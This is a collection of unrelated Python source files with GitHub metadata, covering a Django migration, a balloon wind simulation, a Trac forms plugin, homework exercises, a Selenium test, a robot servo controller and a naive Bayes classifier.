d7ac0dd4e0e205ff28f7ab792672dd6e19c8c491
[]
no_license
rohithavarada/Member-Submissions
8039de18ca8e1ae5fb3800935c6c6beca504154f
9784d76654eb6192c36dd89035c4d9a629e1d27b
refs/heads/master
2020-03-27T16:10:25.438340
2018-08-30T14:54:53
2018-08-30T14:54:53
146,763,830
0
0
null
2018-08-30T14:42:16
2018-08-30T14:42:16
null
UTF-8
Python
false
false
89
py
# This is for testing printf("Hello World"); import string print(string.ascii_lowercase)
42e93c74b93ed26f5ed34a9a594feccb4b0f52de
1e72b3defbae7498f887a763edff7c36333a3e47
/app/migrations/0001_initial.py
20e4ead86ba9fe8dfe9528620d819f80d801fb9c
[]
no_license
prabhuksgowda/ResumeBuilder-using-Django
5dbc9f6b5b49fb57392d202975caf3cee07c07d8
47cb3ed8da278b618e6e9480c534e48d1332daf5
refs/heads/master
2023-04-04T21:13:41.265910
2021-03-26T06:58:56
2021-03-26T06:58:56
350,674,160
0
0
null
null
null
null
UTF-8
Python
false
false
3,177
py
# Generated by Django 2.2.1 on 2021-02-19 10:39 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Project', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('projecttitle', models.CharField(max_length=250)), ('prodescrip', models.CharField(max_length=800)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Personaldetails', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('dob', models.CharField(max_length=100)), ('gender', models.CharField(max_length=100)), ('nationality', models.CharField(max_length=100)), ('fathername', models.CharField(max_length=100)), ('address', models.CharField(max_length=250)), ('strength', models.CharField(max_length=100, null=True)), ('hobbies', models.CharField(max_length=100, null=True)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Education', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('collagename', models.CharField(max_length=100)), ('university', models.CharField(max_length=100)), ('branch', models.CharField(max_length=100)), ('yearofpass', models.CharField(max_length=4)), ('programinglang', models.CharField(max_length=250)), ('frontendlng', models.CharField(max_length=250, null=True)), ('framework', models.CharField(max_length=250, null=True)), ('cgpa', models.CharField(max_length=250)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Details', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ('email', models.CharField(max_length=100)), ('mobile', models.CharField(max_length=100)), ('linkedin', models.CharField(max_length=100)), ('carrearobject', models.TextField()), ('user', models.OneToOneField(default='flash', on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), ]
6b95c17b989818943a654bbc1f3ab4b6f493aa2e
899bb004ecc5df96b36d95e11705b9bb8d4f48a3
/balloonproptest.py
793a394296014d1d9031e01802bfe8cca34044e5
[]
no_license
CamronAlexanderHirst/drifter-project
a09aaa49579c5be7a9ab2868688df2ce142b8f3f
2e266067863538627b0c5d5f5a87e09b5fedf562
refs/heads/master
2021-06-30T23:51:52.786046
2020-10-21T18:42:07
2020-10-21T18:42:07
174,581,113
0
0
null
2019-05-01T22:52:54
2019-03-08T17:33:20
Python
UTF-8
Python
false
false
1,900
py
#!/usr/bin/env python3 '''Used to test out balloon prop Author: Alex Hirst ''' from src import wind_field from src import gen_random_field from src import visualizer import clear_folder import numpy as np import time as t import random random.seed(11) # Generate a nxm field n = 10 # cell height of field (y) m = 15 # cell width of field (x) length = 500 n_samples = 100 field = gen_random_field.field_generator(n, m, length, 0, 1, n_samples, 'Normal') # speed statistics field.nrm_mean_s = 0 field.nrm_sig_s = 2.5 # heading statistics field.nrm_mean_h = 0 field.nrm_sig_h = 0.25 field.sample_heading_speed() A = wind_field.wind_field(field.vel, field.loc, length, field.nsamps, field.samples) A.dt = 2.5 A.t_end = 20 A.y_goal = 3000 dx = 1 xstart = 3500 # absolute starting point xend = 3500 # abosulte end point ystart = 5 num_release_pts = 1 # generate start vector start = [] for i in np.linspace(0, xend-xstart, num_release_pts): print('i:' + str(i)) start.append([xstart + i, ystart]) print(start) for start in start: A.prop_balloon(start[0], start[1], A.y_goal) stats = A.calc_util() print('Start: ' + str(start)) print('Mu: ' + str(stats[0])) print('Std: ' + str(stats[1])) # A.plot_orig = True # A.plot_orig_mean = True A.plot_samps = True A.plot_samps_mean = True input("press enter to plot") # Plot the wind field A.plot_wind_field() savefig = input('save figure? (y/n)') if savefig == 'y': print('saving') A.save_plot = True A.plot_wind_field() input("press enter to animate") # Animate!!! vis = visualizer.animator() vis.save = True vis.init_live_plot(A) for time in range(len(A.position_history_y_orig)): t.sleep(0.1) vis.measurement_update(A, time) input("press enter to create gif") gif = input('make gif? (y/n)') if gif == 'y': vis.make_gif() # Clear the figures folder clear_folder.clear_figure_folder()
3d9077950ed07ab6d94f3b14341ecaa249574bf9
4569d707a4942d3451f3bbcfebaa8011cc5a128d
/tracformsplugin/tags/tracforms-0.4/0.11/tracforms/environment.py
fe98433758feac09b52fc49eb8a527b49c3b41db
[]
no_license
woochica/trachacks
28749b924c897747faa411876a3739edaed4cff4
4fcd4aeba81d734654f5d9ec524218b91d54a0e1
refs/heads/master
2021-05-30T02:27:50.209657
2013-05-24T17:31:23
2013-05-24T17:31:23
13,418,837
0
1
null
null
null
null
UTF-8
Python
false
false
3,263
py
# -*- coding: utf-8 -*- import fnmatch import re from api import _ from compat import json class FormEnvironment(dict): """Handles the environment used by TracForms macros. This dictionary is stackable and provides recursive context for pseudo-variables. >>> outer = FormEnvironment(None) >>> outer['hello'] = 'World' >>> outer['test:ACK'] = 'OOP' >>> outer['test:FOO'] = 'BAR' >>> inner = FormEnvironment(outer, ('test:',)) >>> inner['hello'] 'World' >>> inner['ACK'] 'OOP' >>> inner.getmany('test:*') ('OOP', 'BAR') >>> tuple(sorted(inner.keyset('/.el/'))) ('hello',) >>> tuple(sorted(inner.keyset('/.el/'))) ('hello',) >>> tuple(sorted(inner.keyset('*'))) ('test:ACK', 'test:FOO') >>> tuple(sorted(inner.keyset('*', all=True))) ('hello', 'test:ACK', 'test:FOO') >>> inner.getmany('/.el/') ('World',) >>> web = FormEnvironment(None, ('test',)) >>> web.addform('a=5&a=7&b=hello', 'test') >>> web['a'] '5\t7' """ def __init__(self, base=None, prefixes=()): if base is not None: self.update(base) self.base = base self.prefixes = prefixes + ('',) def __getitem__(self, key, NOT_FOUND=KeyError): obj = self.get(key, NOT_FOUND) if obj is NOT_FOUND: raise KeyError(key) else: return obj def get(self, search, default=None, singleton=True, all=False): values = tuple(dict.__getitem__(self, key) for key in sorted(self.keyset(search, all))) if singleton: if not values: return default elif len(values) == 1: return values[0] else: raise ValueError( _("Too many results for singleton %r" % key)) else: return values def keyset(self, search, all=False): if search[:1] == '/' and search[-1:] == '/': def matches(prefix, keys): regexp = re.compile(prefix + search[1:-1]) return (key for key in keys if regexp.match(key)) elif '*' in search or '?' in search or '|' in search: def matches(prefix, keys): regexp = re.compile(fnmatch.translate(prefix + search)) return (key for key in keys if regexp.match(key)) else: def matches(prefix, keys): check = prefix + search return (key for key in keys if key == check) keys = self.sorted_keys values = set() for prefix in self.prefixes: values |= set(key for key in matches(prefix, keys)) if values and not all: break return values _sorted = None @property def sorted_keys(self): keys = self._sorted if keys is None: keys = self._sorted = sorted(self) return keys def getmany(self, search, all=False): return self.get(search, singleton=False, all=all) def addform(self, data): for name, value in json.loads(state or '{}').iteritems(): keys = [prefix + ':' + name for prefix in self.prefixes] for key in keys: self[key] = tuple(value)
[ "hasienda@7322e99d-02ea-0310-aa39-e9a107903beb" ]
hasienda@7322e99d-02ea-0310-aa39-e9a107903beb
8f0ea1ddcb842afbdfefab10bdc1a50be19625f3
a140b45f9f16b74353d15ed573ea765b3fef046d
/algorithms/leet.0693.src.1.py
04b92c007caace7e60b187ff08050dfd9eefba49
[]
no_license
fish-ball/leetcode
258d4b37f05560d914bcd29f7c54820deeadb33f
3dfd8f73c65d43cc2766c20700a619141acb927b
refs/heads/master
2023-05-28T18:32:43.638675
2023-05-20T04:25:23
2023-05-20T04:25:23
31,968,994
1
0
null
null
null
null
UTF-8
Python
false
false
207
py
class Solution: def hasAlternatingBits(self, n: int) -> bool: if n <= 2: return True if n & 3 in (3, 0): return False return self.hasAlternatingBits(n>>1)
7c2820d6f5a8d4bf54d25dcbf7735c173f8122c3
e303bf4fb1d1c6ba482788a142ce3f3f5ced9702
/python_5_lesson_hw.py
4aeb536f640a8ff6c3b54d8dc601096e06b21f0f
[]
no_license
isthatjoke/projects
0d109c7f25aefb1c8e0c9d513807510ea51f5b8c
fa51cec43d6fd7b39ae9dbf4e40eca1033770782
refs/heads/master
2021-01-05T23:15:27.650953
2020-12-01T16:12:00
2020-12-01T16:12:00
241,164,290
1
0
null
2020-12-01T16:12:01
2020-02-17T17:12:37
Python
UTF-8
Python
false
false
6,927
py
# 1. Создать программно файл в текстовом формате, записать в него построчно данные, # вводимые пользователем. Об окончании ввода данных свидетельствует пустая строка. while True: user_input = input("enter your text ") if user_input == "": break my_file = open("new_file.txt", "a", encoding="utf-8") my_file.writelines(user_input + "\n") my_file.close() # 2. Создать текстовый файл (не программно), сохранить в нем несколько строк, выполнить # подсчет количества строк, количества слов в каждой строке. i = 1 with open("new_file.txt", encoding="utf-8") as my_file: content = my_file.readlines() print("количество строк в файле ", len(content)) for el in content: my_el = el.split(" ") my_str = len(my_el) print(f'количество символов в {i} строке - {my_str}') i += 1 # 3. Создать текстовый файл (не программно), построчно записать фамилии сотрудников и величину их окладов. # Определить, кто из сотрудников имеет оклад менее 20 тыс., вывести фамилии этих сотрудников. # Выполнить подсчет средней величины дохода сотрудников. with open("new_file.txt", "r", encoding="utf-8") as my_file: my_f = list(my_file) employee_list = [] for line in my_f: s = line.rstrip().split(" ") if s[1].isdigit and float(s[1]) < 20000: employee_list.append(s[0]) print(employee_list) # 4. Создать (не программно) текстовый файл со следующим содержимым: # One — 1 # Two — 2 # Three — 3 # Four — 4 # Необходимо написать программу, открывающую файл на чтение и считывающую построчно данные. # При этом английские числительные должны заменяться на русские. # Новый блок строк должен записываться в новый текстовый файл. lib = {'One': 'Один', 'Two': 'Два', 'Three': 'Три', 'Four': 'Четыре', } with open("new.txt", encoding="utf-8") as file: my_f = list(file) my_file = [] for line in my_f: tmp1 = lib.get(line[:(line.find(" "))]) with open("last.txt", "a", encoding="utf-8") as new_file: new_file.write(line.replace(line[:(line.find(" "))], tmp1)) # 5. Создать (программно) текстовый файл, записать в него программно набор чисел, разделенных пробелами. # Программа должна подсчитывать сумму чисел в файле и выводить ее на экран. user_input = input("введите цифры через пробел ") if user_input.isalpha() or user_input.isspace(): print("Неверный ввод") else: with open("file.txt", "w") as file: file.write(user_input) with open("file.txt") as file: temp = (file.read()).split(" ") total_sum = 0 for el in temp: total_sum = total_sum + int(el) print(total_sum) # 6. Необходимо создать (не программно) текстовый файл, где каждая строка описывает учебный предмет и наличие # лекционных, практических и лабораторных занятий по этому предмету и их количество. Важно, чтобы для каждого предмета # не обязательно были все типы занятий. Сформировать словарь, содержащий название предмета и общее количество занятий # по нему. Вывести словарь на экран. # Примеры строк файла: # Информатика: 100(л) 50(пр) 20(лаб). # Физика: 30(л) — 10(лаб) # Физкультура: — 30(пр) — # # Пример словаря: # {“Информатика”: 170, “Физика”: 40, “Физкультура”: 30} import re my_list = [] my_dict = {} with open("file.txt", encoding="utf-8") as file: for line in file: my_list.append(line.rstrip()) for line in my_list: fnd = line.find(":") dlt = line[:fnd] dig = map(int, re.findall('\d+', line)) my_dict.update({dlt: sum(dig)}) print(my_dict) # 7. Создать (не программно) текстовый файл, в котором каждая строка должна содержать данные о фирме: # название, форма собственности, выручка, издержки. # Пример строки файла: firm_1 ООО 10000 5000. # Необходимо построчно прочитать файл, вычислить прибыль каждой компании, а также среднюю прибыль. # Если фирма получила убытки, в расчет средней прибыли ее не включать. # Далее реализовать список. Он должен содержать словарь с фирмами и их прибылями, а также словарь со средней прибылью. # Если фирма получила убытки, также добавить ее в словарь (со значением убытков). # Пример списка: [{“firm_1”: 5000, “firm_2”: 3000, “firm_3”: 1000}, {“average_profit”: 2000}]. # Итоговый список сохранить в виде json-объекта в соответствующий файл. # Пример json-объекта: # [{"firm_1": 5000, "firm_2": 3000, "firm_3": 1000}, {"average_profit": 2000}] # # Подсказка: использовать менеджеры контекста. import json firms = {} ave = [] ave_profit = {} full_list = [firms, ave_profit] with open("my_file.txt", encoding="utf-8") as file: for line in file: tmp = line[:(line.find(" "))] a = (line.rstrip()).split(" ") if int(a[2]) > int(a[3]): tmp2 = int(a[2]) - int(a[3]) firms.update({tmp: tmp2}) ave.append(tmp2) ave_profit.update({"average_profit": (sum(ave))}) with open("my_file.json", "w", encoding="utf-8") as j_file: json.dump(full_list, j_file)
07b8a5019433683f2a6f9216935aaa0a5caa2f35
f0b75bd94f133a13f469f429a696f26be3be9862
/week 2/.history/python_second_assignment_20200204163718.py
b9cd1fdfdd8aa3efdde2ac692d9c4aefc42371f3
[]
no_license
dechavez4/Python_handin_assignments
023350fabd212cdf2a4ee9cd301306dc5fd6bea0
82fd8c991e560c18ecb2152ea5a8fc35dfc3c608
refs/heads/master
2023-01-11T23:31:27.220757
2020-05-22T10:33:56
2020-05-22T10:33:56
237,179,899
0
0
null
2022-12-30T20:14:04
2020-01-30T09:30:16
Python
UTF-8
Python
false
false
2,196
py
import csv from sys import argv import platform import argparse import os.path from os import path # Create a python file with 3 functions: # A. def print_file_content(file) that can print content of a csv file to the console def print_file_content(file): with open(file) as csv_file: content = csv_file.readlines() for line in content[:20]: print(line.strip().split(',')) # kan overskrive den gamle file. # B. def write_list_to_file(output_file, lst) that can take a list of tuple and write each element to a new line in file def write_list_to_file(output_file, *lst): if platform.system() == 'Windows': newline='' else: newline=None with open (output_file, 'w', newline=newline) as output_file: output_writer = csv.writer(output_file) for ele in lst: output_writer.writerow(ele) # C. def read_csv(input_file) that take a csv file and read each row into a list def read_line(file): with open(file) as file_object: lines = file_object.readlines() print(lines) for line in lines: print(line.rstrip()) # 2. Add a functionality so that the file can be called from cli with 2 arguments def run(): if args.print: print_file_content(argv[2]) if args.write: write_list_to_file(argv[2], argv[3:]) if args.read: read_line(argv[2]) if args.file: path.exists(argv[2]) write_list_to_file(argv[2], argv[3:]) else: print("file doesnt exist", argv[2]) if __name__ == '__main__': parser = argparse.ArgumentParser(description="this is my menu") parser.add_argument("--print", help='function that can print content of a csv file to the console') parser.add_argument("--write", nargs="*", help='function that can take a list of tuple and write each element to a new line in file') parser.add_argument("--read", help='function that take a csv file and read each row into a list') parser.add_argument("-- ", nargs="*", help="an argument that if given will write the content to file_name or otherwise will print it to the console.") args = parser.parse_args() run()
c4f0bdaff9911ea6c386f68965ceb757e4427d6d
e9a046b8fb7bf0c5f10d6c16c71e03bff71ff26e
/NTPC_WelfareMonitor/Tests/old/w1205.py
a1eff551aaddb4434074258d125f576120262a0a
[]
no_license
CityRay/NTPC_Project
b9fdd74980626cd953ebf0ed7150bec6cad50100
9fdc5f34b2c63771fc6e696c8a206328e2ecee7b
refs/heads/master
2021-01-19T20:27:47.228092
2015-01-24T09:07:37
2015-01-24T09:07:37
29,771,285
0
0
null
null
null
null
UTF-8
Python
false
false
1,586
py
#-*- coding: utf-8 -*- from selenium import selenium import unittest, time, re class welfare05(unittest.TestCase): def setUp(self): self.verificationErrors = [] self.selenium = selenium("localhost", 4444, "*chrome", "http://172.18.124.12") self.selenium.start() def test_welfare05(self): sel = self.selenium sel.open("/welfare") sel.set_speed("800") sel.click("//a[5]/div[2]/div[2]") sel.click("//div[@id='fbox3']/a") sel.wait_for_page_to_load("30000") sel.click("id=submit") sel.wait_for_page_to_load("30000") sel.type("id=year-qsSS4globalglobal0", "50") sel.type("id=___cmbinput___month-qsSS4globalglobal0", "2") sel.type("name=day:qs%24SS4%24global%24global0", "2") sel.type("id=___cmbinput___qsSS4globalglobal1", u"約12個月以上") sel.type("id=___cmbinput___qsSS4globalglobal2", u"一般身分") sel.click("id=submit") sel.wait_for_page_to_load("30000") sel.click("id=submit") sel.wait_for_page_to_load("30000") sel.click(u"link=生育獎勵金") sel.wait_for_page_to_load("30000") sel.click("id=button") sel.wait_for_page_to_load("30000") sel.click(u"link=孕婦乙型鏈球菌篩檢") sel.wait_for_page_to_load("30000") sel.click("id=button") sel.wait_for_page_to_load("30000") def tearDown(self): self.selenium.stop() self.assertEqual([], self.verificationErrors) if __name__ == "__main__": unittest.main()
ad8780f4445385ddc1e4194084b8981b92085a96
fc557b9e46ee32e08860c58b29139ea377d62a16
/robot_controller.py
a3529bb9dbc39c2451c4cb6e3ec4d18305d7407e
[]
no_license
CharmFlex-98/Quadruped_robot
91e3fdb837b44377640c99d4883759530d9437cd
ebe56e83a8a07b4a74f84e4f95e3fe852be9114e
refs/heads/main
2023-07-08T23:15:22.685269
2021-08-20T02:48:22
2021-08-20T02:48:22
398,134,223
1
0
null
null
null
null
UTF-8
Python
false
false
7,643
py
from __future__ import division import time import Adafruit_PCA9685 import pygame import numpy as np from inverse_kinematics import * from math import * class robot: def __init__(self, width=640, height=480): self.pwm = Adafruit_PCA9685.PCA9685() self.pwm.set_pwm_freq(60) self.direction={15:-1, 14:1, 13:-1, 12:1, 11:1, 10:-1, 9:1, 8:-1} self.origin=[84, 49, 74, 63, 99, 117, 114, 124] # from 8 to 15, real servo degree! self.stand_up=[58, 104, 50, 112, 123, 67, 136, 74] self.thigh_calibration=[49, 63, 117, 124] # 9, 11, 13, 15 self.servo_arm_calibration=[43, 33, 140, 155] # 8, 10, 12, 14 self.calibration={8:43, 9:49, 10:33, 11:63, 12:140, 13:117, 14:155, 15:124} # from 8 to 15 self.servos={} self.initial=[] self.delta=[] self.reset() self.rad=0 self.y_offset=0 self.x_offset=0 self.vertical=0 self.vertical_direction=1 self.counter=0 self.status='sleep' #'normal', 'sleep', 'sit', 'forward', 'backward, reset' def degree2pwm(self, degree): pwm=round((degree/180)*(600-150)+150) return pwm def pwm2degree(self, pwm): degree=round((pwm-150)/(600-150)*180) return degree def rotate_to(self, servo_index, target_degree, time_step, pov=False): if pov: target_degree=self.pov2servo_view(servo_index, target_degree) for index, i in enumerate(servo_index): self.initial.append(self.servos[i]) target_pwm=self.degree2pwm(target_degree[index]) self.delta.append((target_pwm-self.servos[i])) for step in range(time_step): for index, p in enumerate(servo_index): self.servos[p]=self.initial[index]+self.delta[index]*((step+1)/time_step) self.servos[p]=self.post_process_pwm(self.servos[p]) self.pwm.set_pwm(p, 0, round(self.servos[p])) self.initial=[] self.delta=[] #print('rotate all done') #self.check_pwm() def rotate(self, servo_index, velocity): for index, i in enumerate(servo_index): self.servos[i]=self.servos[i]+velocity[index]*self.direction[i] self.servos[i]=self.post_process_pwm(self.servos[i]) self.pwm.set_pwm(i, 0, round(self.servos[i])) print('servo {} pwm is {}'.format(i, self.servos[i])) def reset(self): for index, i in enumerate(range(8, 16)): self.servos[i]=self.degree2pwm(self.origin[index]) self.pwm.set_pwm(i, 0, self.degree2pwm(self.origin[index])) time.sleep(0.01) def check_pwm(self): for i in self.servos: print('servo {} in degree:{} pwm:{}'.format(i, self.pwm2degree(self.servos[i]), self.servos[i])) time.sleep(1) def post_process_pwm(self, pwm, min_pwm=150, max_pwm=600): value=max(min(pwm, max_pwm), min_pwm) return value def pov2servo_view(self, servo_index, servo_pov_degree): real_degree=servo_pov_degree for index, i in enumerate(servo_index): if self.direction[i]==-1: real_degree[index]=180-servo_pov_degree[index] print(real_degree) return real_degree def walk(self, radius1, radius2, velocity): r1=radius1 r2=radius2 x1=r1*cos(self.rad)+self.x_offset y1=r2*sin(self.rad)+self.y_offset x2=r1*cos(self.rad+pi)+self.x_offset y2=r2*sin(self.rad+pi)+self.y_offset self.gait([15, 14, 9, 8], x1, y1, 1) self.gait([13, 12, 11, 10], x2, y2, 1) self.rad-=velocity def walk_turn(self, radius1, radius2, velocity, turn_rate=2, direction='left'): r1=radius1 r2=radius2 print(self.rad) x1=r1*cos(self.rad)+self.x_offset y1=r2*sin(self.rad)+self.y_offset x2=r1*cos(self.rad+pi)+self.x_offset y2=r2*sin(self.rad+pi)+self.y_offset if direction=='right': self.gait([15, 14], x1, y1, 1) self.gait([9, 8], x1/turn_rate, y1, 1) self.gait([13, 12], x2, y2, 1) self.gait([11, 10], x2/turn_rate, y2, 1) elif direction=='left': self.gait([15, 14], x1/turn_rate, y1, 1) self.gait([9, 8], x1, y1, 1) self.gait([13, 12], x2/turn_rate, y2, 1) self.gait([11, 10], x2/2, y2, 1) else: print('insert direction please!') return self.rad-=velocity def up_down(self, velocity): self.y_offset-=velocity self.gait(range(8, 16), self.x_offset, self.y_offset, 1) def front_back(self, velocity): self.x_offset-=velocity self.gait(range(8, 16), self.x_offset, self.y_offset, 1) def turning_body(self, radius, velocity, radius_multiplier=2.5, x_multiplier=4, y_multiplier=4): dif = radius * radius_multiplier * sin(self.rad) x_offset = radius * x_multiplier * cos(self.rad / 2) + self.x_offset-radius*x_multiplier y_offset = radius * y_multiplier * sin(self.rad/2) + self.y_offset rad = math.asin(dif / 100) x1 = (160 - dif - self.y_offset) * sin(rad) + x_offset + radius * cos(rad + pi / 2) y1 = (160 - dif - self.y_offset) * (1 - sin(rad + pi / 2)) + y_offset + dif x2 = (160 + dif - self.y_offset) * sin(rad) + x_offset + radius * cos(rad + pi / 2) y2 = (160 + dif - self.y_offset) * (1 - sin(rad + pi / 2)) + y_offset - dif self.gait([15, 14, 11, 10], x1, y1, 1) self.gait([13, 12, 9, 8], x2, y2, 1) self.rad += velocity def jump(self, radius, velocity): x=self.x_offset self.vertical=self.vertical+velocity*self.vertical_direction if self.vertical<=0: self.counter+=1 self.vertical_direction*=-1 self.vertical=0 if self.vertical>=radius: self.vertical_direction*=-1 self.vertical=radius print(self.vertical) y1=self.vertical*(self.counter%2)+self.y_offset y2=self.vertical*((self.counter+1)%2)+self.y_offset self.gait([15, 14, 9, 8], x, y1, 1) self.gait([13, 12, 11, 10], x, y2, 1) def body_slant(self, velocity): self.rad+=velocity dif=200*sin(self.rad) dif=dif/2 front_legs_x=(160-dif-self.y_offset)*cos((pi/2)-self.rad)+self.x_offset front_legs_y=(160-dif-self.y_offset)*(1-sin((pi/2)+self.rad))+self.y_offset+dif hind_legs_x=(160+dif-self.y_offset)*cos((pi/2)-self.rad)+self.x_offset hind_legs_y=(160+dif-self.y_offset)*(1-sin((pi/2)+self.rad))+self.y_offset-dif self.gait([15, 14, 11, 10], front_legs_x, front_legs_y, 1) self.gait([13, 12, 9, 8], hind_legs_x, hind_legs_y, 1) def stand_reset(self, time_step, x=-22, y=-16): self.y_offset=y #-13 self.x_offset=x #-6 self.rad=0 self.gait(range(8, 16), self.x_offset, self.y_offset, time_step) def gait(self, servos, dx, dy, time_step): servo_index=[] servo_angle=[] thigh_angle, arm_angle=ik_solver(dx, dy) for x in servos: servo_index.append(x) if x in [9, 11, 13, 15]: servo_angle.append(thigh_angle*self.direction[x]+self.calibration[x]) else: servo_angle.append(arm_angle*self.direction[x]+self.calibration[x]) self.rotate_to(servo_index, servo_angle, time_step, pov=False) #my_robot.rotate_to([15, 13, 11, 9], [110, 110, 110, 110], 50) #my_robot.check_pwm()
09e7abb9d2cb3efbfc704013ed50ea61b03e0a79
4b714c8fc2f90276c76474af7fec5ed975a8cb27
/Chapter04/naive_baysian.py
a3aabee36ed18c1e33aa7be6678ec98df3b62152
[]
no_license
quantumira/statistic_ml
ab9ae301248ed3bb832c0d0ae479d7bb8465e651
e2ae6134b71ddb21b1dfa05b686e31db59a84242
refs/heads/main
2023-03-31T02:29:11.610238
2021-04-07T14:56:32
2021-04-07T14:56:32
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,345
py
# coding: utf-8 from collections import Counter """ 朴素贝叶斯 0. 在实现朴素贝叶斯的时候,笔者已经是第N次回顾朴素贝叶斯了,但直到这一次才开始有意识地将它与上一章的感知机做一些对比, 它也给了笔者一些收获。这种与前面的模型/方法做比较的意识,将贯彻整个repository。 1. 朴素贝叶斯的出发点是什么:当已知特征x的条件下,求概率最高的y,所以需要对P(y|x)建模。 而回顾下上一章,感知机的建模是f(x)。 2. 怎么建模: 根据贝叶斯公式:P(y|x)=P(x,y) / P(x) =[P(x|y) * P(y)] / [Σ_{y_i}P(x,y_i)] =[P(x|y) * P(y)] / [Σ_{y_i}P(x|y_i) * P(y_i)] 故需要对P(x|y)和P(y)建模 --> 为什么不能直接对P(y|x)建模,而可以反过来对P(x|y)建模 (其实可以!看看逻辑斯蒂回归) 但这里的任务转化为P(x|y)和P(y)建模后,这个模型必须得具备为P(x|y)和P(y)建模的能力才说得过去! 这就是"朴素贝叶斯法"的贝叶斯。 3. 进一步地,在P(x|y)中,x可能是多维特征,实际上这些特征可能是有关系的。 但朴素贝叶斯做了一个简单的、天真的、朴素的假设:特征之间没有关系。 这就是"朴素贝叶斯"的朴素之处。但是这个朴素的假设有什么用呢 (问题A的答案,下面揭晓) 4. 剩下的问题就是如何为P(x|y)和P(y)建模了 4.1 使用极大似然估计法估计相应的概率 4.1.2 P(y)用频数即可 4.1.3 P(x|y) = P(x1, x2, ..., xn|y) = P(x1|y) * P(x2|y) * ... * P(xn|y) (从上一行到这一行就是基于朴素的"特征之间没有关系"的假设) = [频数(x1, y) / 频数(y)] * [频数(x1, y) / 频数(y)] * ... * [频数(xn, y) / 频数(y)] 这里就是朴素假设的用途了,通过这个朴素假设,我们可以通过简单地估计各个P(xi|y)来达到目的 # todo: P(y|x) = P(y|x1) * P(y|x2) * ... * P(y|xn)??? 4.2 使用贝叶斯估计来避免概率为0的情况 5. 对比下感知机和朴素贝叶斯法。朴素贝叶斯有一步很特别,就是它对P(x,y)建模了, 换句话说,原则上它掌握了(x,y)的生成规律,可以用来生成数据。我们把这类模型叫做生成模型 后续的逻辑斯蒂回归直接对P(y|x)建模,则没有这个生成的过程! todo: 为什么我们需要对这个特性那么在意?有什么好处吗? """ class NaiveBaysian: def __init__(self): """ :param features: 特征 :param labels: label """ self.prior_proba = {} self.conditional_proba = [] self.y_options = {} def fit(self, X, Y): Y_counts = dict(Counter(Y)) self.prior_proba = {y: count / len(Y) for y, count in Y_counts.items()} self.y_options = set(Y) for i in range(len(X[0])): X_i = [x[i] for x in X] X_i_Y = list(zip(X_i, Y)) X_i_Y_count = dict(Counter(X_i_Y)) # P(xi, yi) X_i_Y_proba = {x_i_y: count / len(Y) for x_i_y, count in X_i_Y_count.items()} # P(xi|yi) = P(xi,yi) / P(yi) conditional_proba = {x_i_y: proba / self.prior_proba[x_i_y[1]] for x_i_y, proba in # x_i_y[1]就是y X_i_Y_proba.items()} self.conditional_proba.append(conditional_proba) # 最后self.conditional_proba形如 # [ # 第一个特征的条件概率:P(x1|y)={(x1=a, y): p1, (x1=b,y): p2, ..., (x1=z,y): pn}, # 这里的(x1=a,y)代表x1=a|y # 第二个特征的条件概率:P(x2|y)={(x1=a, y): p1, (x2=b,y): p2, ..., (x2=z,y): pn}, # ... # 最后的特征的条件概率:P(xm|y)={(xm=a, y): p1, (xm=b,y): p2, ..., (xm=z,y): pn}, # ] def predict_single(self, x): assert len(x) == len(self.conditional_proba) y_result = 0 proba_result = 0 for y in self.y_options: prior_proba = self.prior_proba.get(y, 0) # 这里要防止训练集中没有出现y conditional_proba = 1 for idx, x_i in enumerate(x): conditional_proba *= self.conditional_proba[idx].get((x_i, y), 0) # 这里要防止训练集中没有出现(x_i, y) proba = prior_proba * conditional_proba if proba > proba_result: proba_result = proba y_result = y return y_result def predict(self, X): return [self.predict_single(x) for x in X] def demo(): X = [ [1, 'S'], [1, 'M'], [1, 'M'], [1, 'S'], [1, 'S'], [2, 'S'], [2, 'M'], [2, 'M'], [2, 'L'], [2, 'L'], [3, 'L'], [3, 'M'], [3, 'M'], [3, 'L'], [3, 'L'], ] Y = [ -1, -1, -1, -1, -1, -1, -1, 1, 1, 1, 1, 1, 1, 1, -1 ] nb = NaiveBaysian() nb.fit(X, Y) prediction = nb.predict(X) print(prediction) print(f"正确率为{sum([1 if i == j else 0 for i, j in zip(prediction, Y)]) / len(prediction)}") if __name__ == '__main__': demo()
22256ba682801c86d92e53c516104a2ac18db1fd
b27b26462524984951bfbab9250abd145ecfd4c8
/Demoing/stage_two/bloomingtonnormal/craigslist_sample/craigslist_sample/spiders/craigslist_spider.py
9ccd525099e5b2802a2344337a1293d1d28242f0
[]
no_license
afcarl/fastTraffickingGrab
cb813d066f1f69f359598e0b55e632dafd273c89
9ff274cb7c9b6c7b60d1436c209b2bfc5907267d
refs/heads/master
2020-03-26T06:21:21.404931
2014-08-16T12:38:29
2014-08-16T12:38:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,042
py
